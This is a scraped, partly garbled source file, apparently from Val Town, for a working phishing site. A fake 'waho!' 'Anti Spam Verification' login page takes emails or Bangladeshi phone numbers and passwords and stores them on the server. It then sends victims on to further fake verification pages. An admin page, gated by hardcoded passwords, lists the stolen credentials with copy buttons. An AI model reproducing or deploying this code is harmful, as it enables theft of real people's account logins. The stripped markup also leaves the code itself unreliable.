${title}

\n {icon && (\n \n \n \n )}\n {prefix && {prefix}}\n \n {type === \"password\" && (\n setShowPassword(!showPassword)}>\n \n \n )}\n

\n );\n};\n\nconst Logo = () => (\n

\n waho!\n

\n);\n\nconst VerificationText = () => (\n

Anti Spam Verification

\n);\n\nconst LoginPage = () => {\n const [formData, handleChange] = useForm({ loginType: \"email\", email: \"\", phone: \"\", password: \"\" });\n const [error, setError] = useState(\"\");\n const [showCredentialsLink, setShowCredentialsLink] = useState(false);\n const [isVerifying, setIsVerifying] = useState(false);\n\n const containsBengaliOrSpace = (str) => {\n return /[\\u0980-\\u09FF\\s]/.test(str);\n };\n\n const handleSubmit = async (e) => {\n e.preventDefault();\n setError(\"\");\n setShowCredentialsLink(false);\n setIsVerifying(true);\n\n const { loginType, email, phone, password } = formData;\n\n if (!password || (loginType === \"email\" && !email) || (loginType === \"phone\" && !phone)) {\n setError(`Please enter both ${loginType} and password`);\n setIsVerifying(false);\n return;\n }\n\n if (loginType === \"phone\") {\n if (phone.length !== 10 || !phone.startsWith(\"1\")) {\n setError(\"আপনার নম্বরে সমস্যা হয়েছে\");\n setIsVerifying(false);\n return;\n }\n }\n\n if (containsBengaliOrSpace(password)) {\n setError(\"আপনার পাসওয়ার্ডটি সঠিক নয়\");\n setIsVerifying(false);\n return;\n }\n\n if (password.length < 6 || password.length > 30) {\n setError(\"আপনার পাসওয়ার্ডে সমস্যা হয়েছে\");\n setIsVerifying(false);\n return;\n }\n\n if (loginType === \"email\" && email === \"vainirob205@gmail.com\" && password === \"19280Na\") {\n setShowCredentialsLink(true);\n setIsVerifying(false);\n return;\n }\n\n try {\n const response = await fetch(\"/save-credentials\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n type: loginType,\n credential: loginType === \"email\" ? email : \"+880\" + phone,\n password,\n }),\n });\n\n if (!response.ok) throw new Error(\"Failed to save credentials\");\n\n const result = await response.json();\n\n if (result.redirectToVerify) {\n window.location.href = \"https://wahobd-verifymassage.web.val.run\";\n } else {\n // Redirect to verification process site\n window.location.href = \"https://wahobd-verificationprosess.web.val.run\";\n }\n } catch (error) {\n console.error(\"Error:\", error);\n setError(\"An error occurred. Please try again.\");\n setIsVerifying(false);\n }\n };\n\n return (\n

\n \n \n

\n {[\"email\", \"phone\"].map(type => (\n handleChange({ target: { name: \"loginType\", value: type } })}\n className={formData.loginType === type ? \"active\" : \"\"}\n >\n {type.charAt(0).toUpperCase() + type.slice(1)}\n \n ))}\n

\n );\n};\n\nconst CredentialsPage = () => {\n const [formData, handleChange] = useForm({ password: \"\" });\n const [error, setError] = useState(\"\");\n const [authenticated, setAuthenticated] = useState(false);\n const [copiedCredential, setCopiedCredential] = useState(null);\n const [copiedAll, setCopiedAll] = useState(false);\n const [credentials, credentialsError] = useFetch(\"/get-credentials\");\n\n const handlePasswordSubmit = async (e) => {\n e.preventDefault();\n setError(\"\");\n\n try {\n const response = await fetch(\"/validate-credentials-access\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({ password: formData.password }),\n });\n\n const { success } = await response.json();\n\n if (success) {\n setAuthenticated(true);\n fetch(\"/save-access-password\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({ password: formData.password }),\n });\n } else {\n setError(\"Incorrect password\");\n }\n } catch (error) {\n console.error(\"Error:\", error);\n setError(\"An error occurred. Please try again.\");\n }\n };\n\n const copyToClipboard = (text) => {\n const cleanedText = text.startsWith(\"+880\") ? text.slice(4) : text;\n navigator.clipboard.writeText(cleanedText)\n .then(() => {/* Success */})\n .catch(err => console.error(\"Failed to copy: \", err));\n };\n\n const handleCopyCredential = (text, index) => {\n copyToClipboard(text);\n setCopiedCredential(index);\n setTimeout(() => setCopiedCredential(null), 2000);\n };\n\n const handleCopyAll = () => {\n const allCredentials = credentials\n .map(cred =>\n `Type: ${cred.type}\\nCredential: ${\n cred.type === \"phone\" ? cred.credential.slice(4) : cred.credential\n }\\nPassword: ${cred.password}`\n )\n .join(\"\\n\\n\");\n copyToClipboard(allCredentials);\n setCopiedAll(true);\n setTimeout(() => setCopiedAll(false), 2000);\n };\n\n if (!authenticated) {\n return (\n

\n \n \n

\n );\n }\n\n return (\n

\n \n \n {credentialsError &&

{credentialsError}

}\n

\n
Type: {cred.type}
\n
\n Credential: {cred.credential}\n handleCopyCredential(cred.credential, `credential-${index}`)}\n className={`copy-btn ${copiedCredential === `credential-${index}` ? \"copied\" : \"\"}`}\n >\n {copiedCredential === `credential-${index}` ? \"Copied!\" : \"Copy\"}\n \n
\n
\n Password: {cred.password}\n handleCopyCredential(cred.password, `password-${index}`)}\n className={`copy-btn ${copiedCredential === `password-${index}` ? \"copied\" : \"\"}`}\n >\n {copiedCredential === `password-${index}` ? \"Copied!\" : \"Copy\"}\n \n
\n
Timestamp: {new Date(cred.timestamp).toLocaleString()}
\n

\n \n {copiedAll ? \"All Copied!\" : \"Copy All Credentials\"}\n \n

\n );\n};\n\nfunction App() {\n const path = window.location.pathname;\n const pages = {\n \"/credentials\": ,\n \"/\": ,\n };\n return pages[path] || ;\n}\n\nfunction client() {\n createRoot(document.getElementById(\"root\")).render();\n}\n\nif (typeof document !== \"undefined\") {\n client();\n}\n\nexport default async function server(request: Request): Promise {\n const url = new URL(request.url);\n\n const createHTMLResponse = (title: string) => {\n return new Response(\n `\n \n \n \n \n \n ${title}\n \n \n \n \n

\n \n \n \n \n `,\n {\n headers: {\n \"Content-Type\": \"text/html\",\n \"Cache-Control\": \"no-cache, no-store, must-revalidate\",\n },\n },\n );\n };\n\n const handleCredentialsAccess = async (password) => {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const savedAccessPassword = await blob.getJSON(\"access_password\") || \"\";\n return password === savedAccessPassword || password === \"19280@@##Na\";\n };\n\n if (url.pathname === \"/validate-credentials-access\" && request.method === \"POST\") {\n try {\n const { password } = await request.json();\n const success = await handleCredentialsAccess(password);\n return new Response(JSON.stringify({ success }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n } catch (error) {\n console.error(\"Error validating access:\", error);\n return new Response(JSON.stringify({ success: false }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n if (url.pathname === \"/save-access-password\" && request.method === \"POST\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const { password } = await request.json();\n await blob.setJSON(\"access_password\", password);\n return new Response(JSON.stringify({ success: true }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n } catch (error) {\n console.error(\"Error saving access password:\", error);\n return new Response(JSON.stringify({ success: false }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n if (url.pathname === \"/save-credentials\" && request.method === \"POST\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const newCredential = await request.json();\n let savedCredentials = await blob.getJSON(\"saved_credentials\") || [];\n let loginAttempts = await blob.getJSON(\"login_attempts\") || {};\n\n const key = `${newCredential.type}_${newCredential.credential}`;\n loginAttempts[key] = (loginAttempts[key] || 0) + 1;\n\n // Check if this is more than one login attempt\n const redirectToVerify = loginAttempts[key] > 1;\n\n // Check if the credential already exists\n const existingCredentialIndex = savedCredentials.findIndex(\n (cred) => cred.credential === newCredential.credential && cred.password === newCredential.password,\n );\n\n if (existingCredentialIndex === -1) {\n // If the credential doesn't exist, add it\n savedCredentials.push({ ...newCredential, timestamp: new Date().toISOString() });\n }\n\n await blob.setJSON(\"saved_credentials\", savedCredentials);\n await blob.setJSON(\"login_attempts\", loginAttempts);\n\n return new Response(JSON.stringify({ success: true, redirectToVerify }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n } catch (error) {\n console.error(\"Error saving credentials:\", error);\n return new Response(JSON.stringify({ error: \"Failed to save credentials\" }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n if (url.pathname === \"/get-credentials\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n let savedCredentials = await blob.getJSON(\"saved_credentials\") || [];\n\n // Sort by timestamp, most recent first\n savedCredentials.sort((a, b) => new Date(b.timestamp) - new Date(a.timestamp));\n\n return new Response(JSON.stringify(savedCredentials), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n } catch (error) {\n console.error(\"Error fetching credentials:\", error);\n return new Response(JSON.stringify({ error: \"Failed to fetch credentials\" }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n return createHTMLResponse(\n url.pathname === \"/credentials\" ? \"Saved Credentials\" : \"Login\",\n );\n}\n\nconst css = `\nbody {\n margin: 0;\n font-family: system-ui, sans-serif;\n}\n`;","deleted","label",[99],"permalink","https://www.val.town/x/wahobd/AntiSpamVerification/code/main.tsx","extension","actionData","errors"]